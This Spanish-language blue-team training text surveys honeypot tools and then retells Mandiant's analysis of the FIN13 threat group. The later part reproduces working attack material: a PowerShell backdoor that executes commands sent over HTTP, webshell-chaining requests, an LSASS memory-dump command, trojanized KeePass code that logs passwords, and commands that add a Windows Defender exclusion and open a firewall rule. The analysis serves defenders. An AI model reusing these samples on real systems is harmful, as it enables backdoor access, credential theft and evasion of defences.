Mientras configuras el honeypot, debes tener en cuenta el nivel de dificultad de vulnerabilidades que deseas exponer al atacante. Si es demasiado fácil de hackear, probablemente perderán interés o incluso se darán cuenta de que no están tratando con un sistema de producción real.

Por otro lado, si el sistema está demasiado reforzado, en realidad frustrará cualquier ataque y no podrá recopilar ningún dato. Entonces, en términos de dificultad, atraer a un atacante con algo entre fácil y difícil es su mejor apuesta para simular un sistema de la vida real.

¿Puede un atacante detectar si está dentro de un honeypot? Por supuesto. Los usuarios avanzados con un alto nivel de conocimiento técnico pueden reconocer algunas señales de que están ingresando a un honeypot.

Incluso los usuarios sin conocimientos técnicos pueden detectar los señuelos mediante el uso de detectores de honeypot automatizados, como Honeyscore de Shodan, que te permite identificar las direcciones IP de los honeypot. 

En la siguiente captura se muestra la consola de gestión de un Honeypot:

Installing T-Pot Honeypot Framework in the Cloud — Stratosphere IPS

Los principales Honeypot para identificar diferentes tipos de ataques:

  • Honeypot para SSH

Kippo: este honeypot SSH escrito en Python ha sido diseñado para detectar y registrar ataques de fuerza bruta y, lo que es más importante, el historial completo de shell realizado por el atacante. Está disponible para la mayoría de las distribuciones de Linux modernas y ofrece administración y configuración de comando CLI, así como una interfaz basada en web. Kippo ofrece un sistema de archivos falsos y la capacidad de ofrecer contenido falso a los atacantes (como archivos de contraseñas de usuarios, etc.), así como un poderoso sistema de estadísticas llamado Kippo Graph.

Cowrite: este honeypot SSH de interacción media funciona emulando un shell. Ofrece un sistema de archivos falso basado en Debian 5.0, que le permite agregar y eliminar archivos como desee. Esta aplicación también guarda todos los archivos descargados y cargados en un área segura y en cuarentena, para que pueda realizar análisis posteriores si es necesario. Además del shell emulado de SSH, se puede usar como un proxy SSH y Telnet, y le permite reenviar conexiones SMTP a otro señuelo SMTP.

  • Honeypot para HTTP

Glastopf: este honeypot basado en HTTP le permite detectar ataques de aplicaciones web de manera efectiva. Escrito en Python, Glastopf puede emular varios tipos de vulnerabilidades, incluida la inserción de archivos locales y remotos, así como la inyección de SQL (SQLi) y el uso de un sistema de registro centralizado con HPFeeds.

Nodepot: este honeypot de aplicación web se centra en Node.js e incluso le permite ejecutarlo en hardware limitado como Raspberry Pi / Cubietruck. Si está ejecutando una aplicación Node.js y está buscando obtener información valiosa sobre los ataques entrantes y descubrir qué tan vulnerable es, entonces este es uno de los honeypots más relevantes para usted. Disponible en la mayoría de las distribuciones de Linux modernas, ejecutarlo depende solo de unos pocos requisitos.

Google Hack Honeypot: comúnmente conocido como GHH, este honeypot emula una aplicación web vulnerable que los rastreadores web pueden indexar, pero permanece oculto a las solicitudes directas del navegador. El enlace transparente utilizado para este propósito reduce los falsos positivos y evita que se detecte el honeypot. Esto le permite probar su aplicación contra los siempre tan populares idiotas de Google . GHH ofrece un archivo de configuración fácil, así como algunas buenas capacidades de registro para obtener información crítica del atacante, como IP, agente de usuario y otros detalles del encabezado.

  • Honeypot para de WordPress

Honeypot Formidable: Este es uno de los honeypots más populares utilizados con WordPress. Es literalmente invisible para los humanos; solo los bots pueden caer en su trampa, por lo que una vez que un ataque automatizado entre en su formulario, será detectado y evitado de manera efectiva. Es una forma no intrusiva de defender WordPress contra el spam. Convenientemente, no requiere ninguna configuración. Simplemente active el complemento y se agregará a todos los formularios que use en WordPress, tanto en la versión gratuita como en la pro.

Honeypot para bots: creado para evitar que los bots automatizados usen ancho de banda innecesario y otros recursos del servidor de la infraestructura de su sitio. Al configurar este complemento, puede detectar y bloquear bots maliciosos, desde ataques de malware automatizados hasta spam y varios tipos de ataques de adware. Este honeypot de WordPress funciona agregando un enlace oculto en el pie de página de todas sus páginas. De esta manera, los humanos no lo detectan y solo atrapa a los bots malos que no siguen las reglas de robots.txt. Una vez que se detecta un bot malo, se bloqueará el acceso a su sitio web.

Wordpot: Este es uno de los honeypots de WordPress más eficaces que puede utilizar para mejorar la seguridad de WordPress . Le ayuda a detectar signos maliciosos de complementos, temas y otros archivos comunes que se utilizan para tomar las huellas digitales de una instalación de wordpress. Escrito en Python, es fácil de instalar, se puede manejar desde la línea de comandos sin problemas e incluye un archivo wordpot.conf para una fácil configuración de honeypot. También le permite instalar complementos personalizados de Wordpot para que pueda emular las vulnerabilidades populares de WordPress.

  • Honeypot para base de datos

ElasticHoney: con Elasticsearch explotado con tanta frecuencia en la naturaleza, nunca es una mala idea invertir en un honeypot creado específicamente para este tipo de base de datos. Este es un honeypot simple pero efectivo que le permitirá detectar solicitudes maliciosas que intentan explotar las vulnerabilidades de RCE. Funciona al recibir solicitudes de ataque en varios puntos finales populares, como /, /_search y /_nodes, y luego responde sirviendo una respuesta JSON que es idéntica a la instancia vulnerable de Elasticsearch. Todos los registros se guardan en un archivo llamado elastichoney.log. Una de las mejores cosas de esto es que esta herramienta trampa está disponible para los sistemas operativos Windows y Linux.

HoneyMy sql: este simple honeypot de MySQL se crea para proteger sus bases de datos basadas en SQL. Escrito en Python, funciona en la mayoría de las plataformas y se puede instalar fácilmente clonando su repositorio de GitHub.

MongoDB- HoneyProxy: uno de los honeypots de MongoDB más populares, este es específicamente un proxy de honeypot que puede ejecutar y registrar todo el tráfico malicioso en un servidor MongoDB de terceros. Se requiere Node.js, npm, GCC, g++ y un servidor MongoDB para que este honeypot de MongoDB funcione correctamente. Se puede ejecutar dentro de un contenedor Docker o cualquier otro entorno de VM.

  • Honeypots de correo electrónico

Honeymail: si está buscando una forma de detener los ataques basados ​​en SMTP, esta es la solución perfecta. Escrito en Golang, este honeypot para correo electrónico le permitirá configurar numerosas funciones para detectar y prevenir ataques contra sus servidores SMTP. Sus características principales incluyen: configurar mensajes de respuesta personalizados, habilitar el cifrado StartSSL/TLS, almacenar correos electrónicos en un archivo BoltDB y extraer información del atacante, como el dominio de origen, el país, los archivos adjuntos y las partes del correo electrónico (HTML o TXT). También proporciona protección DDoS simple pero poderosa contra conexiones masivas.

Mailoney: Este es un gran señuelo de correo electrónico escrito en Python. Se puede ejecutar en diferentes modos, como open_relay (registrar todos los correos electrónicos que se intentaron enviar), postfix_creds (utilizado para registrar las credenciales de los intentos de inicio de sesión) y schizo_open_relay (que le permite registrar todo).

SpamHAT: esta trampa está diseñada para atrapar y evitar que el spam ataque cualquiera de sus casillas de correo electrónico. Para que esto funcione, asegúrese de tener instalado Perl 5.10 o superior, así como algunos módulos CPAN como IO::Socket, Mail::MboxParser, LWP::Simple, LWP::UserAgent, DBD::mysql, Digest: :MD5::File, además de tener un servidor MySQL corriendo con una base de datos llamada ‘spampot’.

  • Honeypot para IoT

HoneyThing: creado para Internet de los servicios habilitados para TR-069, este honeypot funciona actuando como un módem/enrutador completo que ejecuta el servidor web RomPager y es compatible con el protocolo TR-069 (CWMP). Este honeypot IOT es capaz de emular vulnerabilidades populares para Rom-0, Misfortune Cookie, RomPager y más. Ofrece compatibilidad con el protocolo TR-069, incluida la mayoría de sus comandos CPE populares, como GetRPCMethods, Get/Set Parameter Values, Download, etc. A diferencia de otros, este honeypot ofrece una interfaz basada en web fácil y pulida. Finalmente, todos los datos críticos se registran en un archivo llamado honeything.log

Kako: la configuración predeterminada ejecutará una serie de simulaciones de servicio para capturar información de ataque de todas las solicitudes entrantes, incluido el cuerpo completo. Incluye servidores Telnet, HTTP y HTTPS. Kako requiere los siguientes paquetes de Python para funcionar correctamente: Click, Boto3, Requests y Cerberus. Una vez que esté cubierto con los paquetes requeridos, puede configurar este honeypot de IOT usando un archivo YAML simple llamado kako.yaml. Todos los datos se registran y se exportan a AWS SNS y al formato JSON de archivo plano.

Analysing Honeypot Data using Kibana and Elasticsearch | by Stephen  Chapendama | Towards Data Science
  • Otros tipos de Honeypots

Dionaea: este honeypot de baja interacción escrito en C y Python utiliza la biblioteca Libemu para emular la ejecución de instrucciones Intel x86 y detectar shellcodes. Además, podemos decir que es un honeypot multiprotocolo que ofrece soporte para protocolos como FTP, HTTP, Memcache, MSSQL, MySQL, SMB, TFTP, etc. Sus capacidades de registro ofrecen compatibilidad con Fail2Ban, hpfeeds, log_json y log_sqlite.

Miniprint: dado que las impresoras son algunos de los dispositivos más ignorados dentro de las redes informáticas, Miniprint es el aliado perfecto cuando necesita detectar y recopilar ataques basados ​​en impresoras. Funciona al exponer la impresora a Internet mediante un sistema de archivos virtual donde los atacantes pueden leer y escribir datos simulados. Miniprint ofrece un mecanismo de registro muy profundo y guarda cualquier trabajo de impresión de postscript o texto sin formato en un directorio de carga para su posterior análisis.

Honeypot-ftp: Escrito en Python, este honeypot de FTP ofrece soporte completo para FTP y FTPS simples para que pueda realizar un seguimiento profundo de las credenciales de usuario y contraseña utilizadas en los intentos de inicio de sesión ilegales, así como los archivos cargados para cada sesión de FTP/FTPS.

HoneyNTP: NTP es uno de los protocolos más ignorados en Internet, y por eso es una buena idea ejecutar un NTP Honeypot. Este es un servidor NTP simulado de Python que se ejecuta sin problemas en los sistemas operativos Windows y Linux. Funciona registrando todos los paquetes NTP y números de puerto en una base de datos de Redis para que pueda realizar un análisis posterior.

Thug: Thug no es un honeypot per se, sino un honeyclient. Así como las tecnologías honeypot permiten la investigación de los ataques del lado del servidor, los honeyclients se enfrentan a los ataques del lado del cliente. Al actuar como un complemento de los honeypots, Thug es una herramienta de cliente de miel de baja interacción diseñada para imitar el comportamiento de un navegador web para analizar enlaces sospechosos y determinar si contienen componentes maliciosos.

Canarytokens: Canarytokens es una herramienta honeytoken creada para emular web bugs, las imágenes transparentes que rastrean cuando alguien abre un correo electrónico incrustando una URL única en la etiqueta de imagen de la página web y monitorea las solicitudes GET. Canarytokens hace lo mismo pero para lecturas de archivos, consultas de bases de datos, ejecuciones de procesos, patrones en archivos de registro y mucho más. Le permite configurar trampas en sus sistemas en lugar de configurar trampas separadas. En otras palabras, los atacantes anuncian que han violado su sistema “tropezando” con un token.

Conclusión

Para los nuevos Blue Teams, instalar y configurar cualquiera de estas herramientas de Honeypot es un trabajo fácil, solo ten presente hacerlo en una red de prueba separada de tus sistemas de producción, al menos en tus primeras pruebas hasta que sepas lo que estás haciendo.

¿Estás listo para prevenir aún más amenazas de red? Explora tu área de superficie de ataque hoy y descubre cuánta información está exponiendo, antes de que lo hagan los malos.

Blue Team

Conceptos básicos

Introducción al Blue Team

Bienvenido al mundo de los “pitufos”, así se le suele llamar a aquellos profesionales de ciberseguridad encargados de proteger a las infraestructuras, programas, aplicaciones en general de las organizaciones. En términos más formales, un equipo de Blue Team está integrado por expertos de la seguridad informática cuya visión es la de la organización desde dentro hacia fuera. Protegen los activos de la misma contra las amenazas externas. Tienen muy claros cuáles son los objetivos de negocio y de la estrategia de seguridad de la empresa. De este modo, lo que procuran es fortalecer la seguridad informática para que ningún intruso acceda y pueda acabar con los protocolos de defensa establecidos.

Qué hace un Blue Team

Lo primero que hace un Blue Team es reunir datos, documentarse sobre todo aquello que hay que proteger, y efectúa una evaluación de riesgos. El siguiente paso será el de reforzar el acceso al sistema de diversas formas como, por ejemplo, introduciendo políticas más estrictas en materia de seguridad y ejerciendo una función didáctica con los trabajadores de la organización para que entiendan y se ajusten a los procedimientos de seguridad de la misma.

Es habitual que se establezcan protocolos de vigilancia que puedan registrar la información relativa al acceso a los sistemas e ir comprobando si se produce algún tipo de actividad inusual.

El Blue Team efectúa comprobaciones periódicas del sistema, analiza claves por defecto, complejidad de las password, como auditorías del sistema de nombres de dominio (DNS), de la vulnerabilidad de la red interna o externa, etc.

También se encargan de establecer medidas de seguridad alrededor de los activos clave de una organización, identifican los activos críticos, analizando y documentando la importancia de estos para el negocio y las consecuencias que tendría su ausencia.

El siguiente paso será realizar evaluaciones de riesgo identificando las amenazas contra cada activo y las debilidades que pueden explotar. Si se tiene conocimiento de los riesgos y estos pueden priorizarse, el Blue Team tendrá la posibilidad de desarrollar un plan de acción para establecer controles que reduzcan el impacto o la posibilidad de que las amenazas se lleven a cabo contra los activos.

El personal directivo superior debe implicarse en esta etapa, ya que son los únicos con la capacidad de decidir si quieren aceptar un riesgo o aplicar controles que puedan mitigarlo. Lo más habitual es que a la hora de poner en marcha los controles, previamente se haga un análisis de costes y beneficios para garantizar que dichos controles de seguridad sean lo suficientemente beneficiosos para la empresa.

Cómo funciona un Blue Team

Algunos de los procedimientos que pone en marcha un Blue Team son:

  • Realizar auditorías del DNS, con esto se pueden prevenir ataques de phishing, evitar problemas de DNS caducados, el tiempo de inactividad por la eliminación de registros del DNS y por supuesto, evitar e incluso reducir los ataques al DNS y a la web.
  • Efectuar análisis de la huella digital teniendo la capacidad así de rastrear la actividad de los usuarios e identificar las firmas conocidas que puedan alertar de una violación de la seguridad. Instalar software de seguridad de puntos finales en dispositivos externos, algo que ahora en tiempos de teletrabajo, resulta prácticamente imprescindible.
  • Asegurar que los controles de acceso al cortafuegos tengan la configuración correcta y mantener el software antivirus actualizado.
  • Desplegar software IDS e IPS para controlar la seguridad de detección y prevención.
  • Aplicar soluciones SIEM para registrar y absorber la actividad de la red.
  • Efectuar un análisis continuado de los registros y la memoria para recabar datos sobre algún tipo de actividad inusual en el sistema e identificar y localizar un ataque informático.
  • Segregar las redes y asegurarse de que su configuración es la correcta.
  • Implementar un software de exploración de vulnerabilidades.
  • Implementar un software antivirus o antimalware.

Entendiendo el ciclo de vida de un ataque

Para entender el funcionamiento de los grupos de cibercriminales y a que se enfrenta los equipos de Blue Team, vamos a exponer la investigación realizado por la empresa Mandiant sobre un grupo profesional de cibercriminales.

Desde 2017, Mandiant ha estado rastreando a FIN13, un actor de amenazas diligente y versátil con motivaciones financieras, el cual, realiza intrusiones a largo plazo en México con un marco de tiempo de actividad que se remonta a 2016. Las operaciones de FIN13 tienen varias diferencias notables con respecto a las tendencias actuales de robo de datos de los ciberdelincuentes y la extorsión de ransomware.

Aunque sus operaciones continúan hasta el día de hoy, en muchos sentidos, las intrusiones de FIN13 son como una cápsula del tiempo del ciberdelito financiero tradicional de tiempos pasados. En lugar de los grupos de ransomware de “pisa y corre” que prevalecen en la actualidad, FIN13 se toma su tiempo para recolectar información para realizar transferencias fraudulentas de dinero. En lugar de depender, en gran medida, de marcos de ataque como Cobalt Strike, la mayoría de las intrusiones de FIN13 implican un uso intensivo de puertas traseras pasivas personalizadas y herramientas para acechar en entornos a largo plazo. En este blog, describimos los aspectos notables de las operaciones de FIN13 para destacar un ecosistema regional de ciberdelincuentes que merece más exploración.

Objetivos de FIN13

Desde mediados de 2017, Mandiant ha respondido a múltiples investigaciones las cuales se han atribuido a FIN13. A diferencia de otros actores motivados financieramente, FIN13 tiene objetivos altamente ubicados. Más de cinco años de datos de intrusión de Mandiant muestran que FIN13 opera exclusivamente contra organizaciones con sede en México y se ha dirigido específicamente a grandes organizaciones en las industrias financiera, minorista y hotelera. Una revisión de los datos financieros, disponibles públicamente, muestra que varias de estas organizaciones tienen ingresos anuales de millones a miles de millones en dólares estadounidenses (1 USD = 21,11 MXN al 6 de diciembre de 2021).

FIN13 mapeará minuciosamente la red de una víctima, capturando credenciales, robando documentos corporativos, documentación técnica, bases de datos financieras y otros archivos los cuales respaldarán su objetivo de ganancia financiera por medio de la transferencia fraudulenta de fondos de la organización víctima.

Tiempo de permanencia y vida útil operativa

Las investigaciones de Mandiant determinaron que FIN13 tenía un tiempo medio de permanencia, (definido como la duración entre el inicio de una ciberintrusión y su identificación), de 913 días o 2 años y medio. El largo tiempo de permanencia de un actor con motivación financiera es anómalo y significativo por muchos factores. En el reporte 2021 de Mandiant M-Trends, el 52% de los compromisos tenían tiempos de permanencia de menos de 30 días, mejoró desde el 41% en 2019: “Un factor importante que contribuye al aumento de la proporción de incidentes con tiempos de permanencia de 30 días o menos es el aumento continuo en la proporción de investigaciones que involucraron ransomware, el cual aumentó al 25% en 2020, de un 14% en 2019″. El tiempo de permanencia de las investigaciones de ransomware se puede medir en días, mientras que FIN13 suele estar presente en entornos durante años para realizar sus operaciones más sigilosas y obtener la mayor recompensa posible.

Mandiant agrupa la actividad de los actores de amenazas de una variedad de fuentes, incluidas las investigaciones de primera mano realizadas por los equipos de Managed Defense y Respuesta a Incidentes de Mandiant. En una revisión de más de 850 clústeres de actividad motivada financieramente que Mandiant rastrea, FIN13 comparte una estadística convincente con solo otro actor de amenazas: FIN10, el flagelo de Canadá entre 2013 y 2019. Tan solo un 2.6% de los actores de amenazas motivados financieramente, los cuales Mandiant ha rastreado en múltiples intrusiones, se han dirigido a organizaciones en un solo país.

Al considerar las fechas más tempranas y recientes de la actividad identificada (“vida útil operativa”) para los grupos, los datos se vuelven interesantes. La mayoría de los grupos de amenazas con motivación financiera, que rastrea Mandiant, tienen una vida útil operativa de menos de un año. Solo diez tienen una vida útil operativa de entre uno y tres años; y cuatro tienen una vida útil superior a tres años. De estos cuatro, sólo dos de ellos han funcionado durante más de cinco años: FIN10 y FIN13, que Mandiant considera poco común.

Figura 1: Grupos de amenazas motivados financieramente con una vida útil operativa > 1 año

FIN13 tiene una capacidad demostrada para permanecer sigiloso en las redes de organizaciones mexicanas grandes y rentables durante un período de tiempo considerable.

Ciclo de vida de los ataques dirigidos de Mandiant

Los ataques dirigidos suelen seguir una secuencia predecible de eventos. No todos los ataques siguen el flujo exacto de este modelo; su propósito es proporcionar una representación visual del ciclo de vida de los ataques.

Establecer presencia

Las investigaciones de Mandiant revelan que FIN13 ha explotado, principalmente, servidores externos para implementar webshells genéricos y malware personalizado, incluidos BLUEAGAVE y SIXPACK, para establecer presencia. Los detalles de las explotaciones y las vulnerabilidades específicas, apuntadas a lo largo de los años, no han sido confirmados debido a la evidencia insuficiente agravada por los largos tiempos de permanencia de FIN13. En dos intrusiones separadas, la primera evidencia sugirió una posible explotación contra el servidor WebLogic de la víctima para escribir un webshell genérico. En otro, la evidencia sugirió la explotación de Apache Tomcat. Aunque los detalles sobre el vector exacto son escasos, FIN13 ha utilizado históricamente webshells, en servidores externos, como una puerta de entrada a una víctima.

El uso de JSPRAT, por parte de FIN13, permite al actor lograr la ejecución de comandos locales, cargar/descargar archivos y tráfico de red proxy para un pivote adicional durante las etapas posteriores de la intrusión. FIN13 también ha utilizado, históricamente, webshells disponibles públicamente y codificados en varios lenguajes, incluidos PHP, C# (ASP.NET) y Java. FIN13 también ha implementado ampliamente la puerta trasera pasiva BLUEAGAVE de PowerShell en los hosts destino al establecer una presencia inicial en el entorno. BLUEAGAVE utiliza la clase HttpListener.NET para establecer un servidor HTTP local en puertos efímeros altos (65510-65512). La puerta trasera escucha las solicitudes HTTP entrantes al URI raíz/en el puerto establecido, analiza la solicitud HTTP y ejecuta los datos codificados, en URL, almacenados dentro de la variable “kmd” de la solicitud por medio del símbolo del sistema de Windows (cmd.exe). La salida de este comando se envía de vuelta al operador en el cuerpo de la respuesta HTTP. Además, Mandiant ha identificado una versión Perl de BLUEAGAVE la cual permite a FIN13 establecerse en los sistemas Linux. A continuación, se muestra un código de PowerShell de muestra de BLUEAGAVE,

Figura 2:Fragmento de código BLUEAGAVE

[Reflection.Assembly]::LoadWithPartialName("System.Web") | Out-Null;

function extract($request) {

$length = $request.contentlength64;

$buffer = new - object "byte[]" $length;

[void]$request.inputstream.read($buffer, 0, $length);

$body = [system.text.encoding]::ascii.getstring($buffer);

$data = @ {};

$body.split('&') | % {

    $part = $_.split('=');

    $data.add($part[0], $part[1]);

};

return $data;

};

$routes = @ {

"POST /" = {

    $data = extract $context.Request;

    $decode = [System.Web.HttpUtility]::UrlDecode($data.item('kmd'));

    $Out = cmd.exe  /c $decode 2 > &1 | Out - String;

    return $Out;

}

};

$url = 'http://*:65510/';

$listener = New - Object System.Net.HttpListener;

$listener.Prefixes.Add($url);

$listener.Start();

while ($listener.IsListening)  {

$context = $listener.GetContext();

$requestUrl = $context.Request.Url;

$response = $context.Response;

$localPath = $requestUrl.LocalPath;

$pattern = "{0} {1}"  - f $context.Request.httpmethod, $requestUrl.LocalPath;

$route = $routes.Get_Item($pattern);

if ($route  - eq $null)  {

    $response.StatusCode = 404;

} else {

    $content = &$route;

    $buffer = [System.Text.Encoding]::UTF8.GetBytes($content);

    $response.ContentLength64 = $buffer.Length;

    $response.OutputStream.Write($buffer, 0, $buffer.Length);

};

$response.Close();

$responseStatus = $response.StatusCode;

}

Mandiant clasifica las puertas traseras pasivas como malware el cual proporciona acceso al entorno de la víctima sin enviar un beacon activo a un servidor de comando y control. Las puertas traseras pasivas pueden incluir webshells o malware personalizado que aceptan o escuchan conexiones entrantes por medio de un protocolo específico. El uso de FIN13 de puertas traseras pasivas, en lugar de puertas traseras activas de uso común como BEACON, demuestra el deseo del actor por el sigilo y las intrusiones sostenidas a largo plazo. FIN13 también mantiene un conocimiento activo de las redes de las víctimas, lo que les ha permitido crear de manera efectiva, pivotes complejos en los entornos de destino desde su punto base inicial. Durante una intrusión reciente, Mandiant observó que FIN13 aprovechó su base inicial para encadenar múltiples webshells y enviar el tráfico a hosts infectados con BLUEAGAVE en el entorno. Debajo de la Figura 3, se muestra un ejemplo de una solicitud HTTP registrada la cual demuestra a FIN13 encadenando múltiples webshells desde su base inicial:

Figura 3: Webshell encadenando solicitudes HTTP

GET /JavaService/shell/exec?cmd=curl%20-
v%20http://10.1.1.1:80/shell2/cmd.jsp%22cmd=whoami%22

Escalación de privilegios

FIN13 utiliza principalmente técnicas comunes de escalación de privilegios, sin embargo, el actor parece flexible para adaptarse cuando se expone a diversas redes de las víctimas. FIN13 se ha basado en utilerías disponibles públicamente, como ProcDump de Windows Sysinternal, para obtener volcados de memoria del proceso del sistema LSASS y, posteriormente, utilizó Mimikatz para analizar los volcados y extraer las credenciales. El siguiente es un ejemplo de un comando de host utilizado por FIN13 para volcar la memoria de proceso de LSASS, Figura 4:

Figura 4: Comando de volcado de memoria LSASS

C:\Windows\Temp\pr64.exe -accepteula -ma lsass.exe C:\Windows\Temp\ls.dmp

Mandiant también ha observado que FIN13 utiliza la utilería legítima de Windows certutil, en algunos casos para ejecutar copias ofuscadas de utilerías como ProcDump para la evasión de detección. En una intrusión, FIN13 utilizó certutil para decodificar una versión codificada en base64 del dropper personalizado LATCHKEY. LATCHKEY es un dropper compilado de PowerShell a EXE (PS2EXE) que, en base64, decodifica y ejecuta la función de PowerSploit Out-Minidump el cual genera un mini volcado para el proceso del sistema LSASS en disco.

FIN13 también ha utilizado algunas técnicas de escalación de privilegios más exclusivas. Por ejemplo, durante una intrusión reciente, Mandiant observó que FIN13 reemplazaba los archivos binarios legítimos de KeePass con versiones troyanizadas las cuales registraban contraseñas recién ingresadas en un archivo de texto local. Esto permitió a FIN13 apuntar y recolectar credenciales para numerosas aplicaciones con el fin de promover su misión. El siguiente es un extracto de código de la versión troyanizada de KeePass implementada por FIN13 en un entorno de cliente,

Figura 5: Fragmento de código troyano de KeePass

private void OnBtnOK(object sender, EventArgs e)

    {

        using (StreamWriter streamWriter = File.AppendText("C:\\windows\\temp\\file.txt"))

        {

            this.m_tbPassword.EnableProtection(false);

            streamWriter.WriteLine(this.m_cmbKeyFile.Text + ":" + this.m_tbPassword.Text);

            this.m_tbPassword.EnableProtection(true);

        }

        if (!this.CreateCompositeKey())

        {

            base.DialogResult = DialogResult.None;

        }

Reconocimiento interno

FIN13 es particularmente experto en aprovechar los archivos binarios del sistema operativo nativo, los guiones, las herramientas de terceros y el malware personalizado para realizar un reconocimiento interno dentro de un entorno comprometido. Este actor parece cómodo aprovechando diversas técnicas para recolectar rápidamente información de fondo que respaldará sus objetivos finales.

Mandiant ha observado que FIN13 utiliza comandos comunes de Windows para recolectar información como whoami, para mostrar detalles de los grupos y privilegios, para el usuario actualmente conectado. Para el reconocimiento de la red, se ha observado que aprovechan ping, nslookup, ipconfig, tracert, netstat y la gama de comandos net. Para recolectar información del host local, el actor de amenazas utilizó systeminfo, fsutil fsinfo, attrib y un uso extensivo del comando dir.

FIN13 incorporó muchos de estos esfuerzos de reconocimiento en guiones con el fin de automatizar sus procesos. Por ejemplo, utilizaron pi.bat para recorrer una lista de direcciones IP en un archivo, ejecutar un comando ping y escribir la salida en un archivo, Figura 6. Un guion similar utilizó dnscmd para exportar las zonas DNS de un host a un archivo.

Figura 6: Contenido del archivo de salida pi.bat

@echo off

for /f "tokens=*" %%a in (C:\windows\temp\ip.t) do (echo trying %%a: >>
C:\windows\temp\log4.txt ping -n 1 %%a >> C:\windows\temp\log4.txt 2>&1)

FIN13 ha aprovechado herramientas de terceros, como NMAP, para respaldar las operaciones de reconocimiento. En tres investigaciones de FIN13, los actores de amenazas emplearon una variante del guion GetUserSPNS.vbs para identificar las cuentas de usuario asociadas con un nombre principal de servicio el cual podría ser blanco de un ataque conocido como “Kerberoasting” para descifrar las contraseñas de los usuarios. También utilizan PowerShell para obtener datos DNS adicionales y exportarlos a un archivo, Figura 7. Se documenta un código similar de PowerShell en una publicación de junio de 2018 en coderoad[.]ru.

En otro caso, FIN13 ejecutó un guion de PowerShell para extraer eventos de inicio de sesión de un host durante los siete días previos. Es posible que se haya utilizado para recolectar información y permitir que FIN13 se integrara en las operaciones normales de los sistemas objetivo. Además, este guion ayudará a identificar a los usuarios que han iniciado sesión, evento 7001, para el cual no existe un evento 7002 correspondiente. La implicación es que el volcado de LSASS podría adquirir credenciales de usuario, Figura 8. Un código similar de PowerShell está documentado en una publicación de julio de 2018 para codetwo[.]com.

Figura 7: Guion de PowerShell para el reconocimiento de DNS

$results = Get - DnsServerZone | % {

$zone = $_.zonename

Get - DnsServerResourceRecord $zone | select @ {

    n = 'ZoneName';

    e = {

        $zone

    }

 }, HostName, RecordType, @ {

    n = 'RecordData';

    e = {

        if ($_.RecordData.IPv4Address.IPAddressToString)  {

            $_.RecordData.IPv4Address.IPAddressToString

        } else {

            $_.RecordData.NameServer.ToUpper()

        }

     }

 }

 }

$results | Export-Csv  -NoTypeInformation c:\windows\temp\addcat.csv  -Append

Figura 8: Guion de PowerShell para extraer eventos de inicio de sesión

"C:\Windows\system32\cmd.exe"   / c "echo $hostnm = hostname;

$logs = get-eventlog system -ComputerName $hostnm -source Microsoft-Windows-Winlogon -After (Get-Date).AddDays(-7);

$res = @();

ForEach ($log in $logs){

  if($log.instanceid -eq 7001) {$type = "Logon"}

  Elseif ($log.instanceid -eq 7002){$type="Logoff"}

  Else {Continue} $res += New-Object PSObject -Property @{Time = $log.TimeWritten; User = (New-Object System.Security.Principal.SecurityIdentifier $Log.ReplacementStrings[1]).Translate([System.Security.Principal.NTAccount])}};

$res | Out-File C:\windows\temp\logs1.txt"

Además, FIN13 ha aprovechado la infraestructura corporativa para ejecutar actividades de reconocimiento. Durante una investigación, FIN13 accedió a la consola Symantec Altiris del objetivo, una plataforma de administración de software y hardware, para modificar repetidamente una tarea Run Script existente en la interfaz con el fin de adquirir información de red y host. En otra investigación, FIN13 utilizó una cuenta de LanDesk comprometida para ejecutar comandos para devolver información de host, red y base de datos del entorno.

Sin limitarse a las herramientas disponibles públicamente, FIN13 también ha utilizado varias familias de malware personalizado para ayudar en el reconocimiento interno. En tres investigaciones, FIN13 utilizó PORTHOLE, un escáner de puertos basado en Java, para realizar investigaciones de red. PORTHOLE puede intentar múltiples conexiones de socket a muchas direcciones IP y puertos y, como es multiproceso, puede ejecutar esta operación rápidamente con conexiones múltiples potencialmente superpuestas. El malware acepta, como primer argumento, una dirección IP con comodines en la dirección o un nombre de archivo. El segundo argumento es el rango de puerto inicial para escanear para cada IP y el tercero es el rango de puerto final.

CLOSEWATCH es un webshell JSP el cual se comunica con un escucha en el host local por medio de un puerto específico, escribe archivos arbitrarios en el sistema operativo de la víctima, ejecuta comandos arbitrarios en el host de la víctima, deshabilita el proxy y emite solicitudes HTTP GET personalizables a una variedad de hosts remotos. Si se especifican los parámetros de URL HTTP adecuados, CLOSEWATCH puede crear una conexión de socket al host local en el puerto 16998, en donde puede enviar y recibir datos utilizando comunicaciones similares a HTTP usando codificación de transferencia fragmentada. Si se especifica el parámetro de rango, CLOSEWATCH puede escanear un rango de direcciones IP y puertos utilizando parámetros personalizados. Este malware se observó en una de las primeras investigaciones de FIN13. Aunque recientemente apareció una muestra en un repositorio público, este malware no se ha observado durante investigaciones más recientes. Si bien es más que una simple herramienta de reconocimiento, el parámetro de rango de CLOSEWATCH proporciona a FIN13 otra capacidad de escaneo.

Se ha observado que FIN13 ejecuta la utilería osql de Microsoft, pero también han aprovechado otro webshell JSP, el cual Mandiant rastrea como SPINOFF, para la investigación de SQL. SPINOFF puede ejecutar consultas SQL arbitrarias en bases de datos específicas y descargar los resultados a un archivo. Al igual que CLOSEWATCH, este malware prevaleció en las primeras investigaciones.

Un descargador, el cual Mandiant rastrea como DRAWSTRING, tiene algunas funciones de reconocimiento interno. Si bien principalmente proporciona a FIN13 la capacidad de descargar y ejecutar archivos arbitrarios, DRAWSTRING también ejecutará systeminfo.exe y cargará dicha información en un servidor de comando y control (C2). Al iniciarse, el malware crea persistencia por medio de tres métodos posibles: un servicio, un archivo .lnk o una actualización de la llave de registro Software\Microsoft\Windows\CurrentVersion\Run. El malware comprueba los numerosos procesos antivirus y varía el método de persistencia si se encuentra uno.

Posteriormente, el malware ejecuta los siguientes dos comandos, Figura 9 y Figura 10, donde %s se reemplaza por el nombre del programa:

Figura 9: Comando de PowerShell para modificar la configuración de Windows Defender

powershell -inputformat none -outputformat none -NonInteractive -Command 
Add-MpPreference -ExclusionPath "%s"

Figura 10: Comando netsh para permitir comunicaciones DRAWSTRING

Netsh advfirewall firewall add rule name="Software Update" 
profile=domain,private,public protocol=any enable=yes DIR=Out program="%s" Action=Allow

Este comando agrega una nueva regla a un cortafuegos de Windows el cual permite a DRAWSTRING comunicaciones salientes.

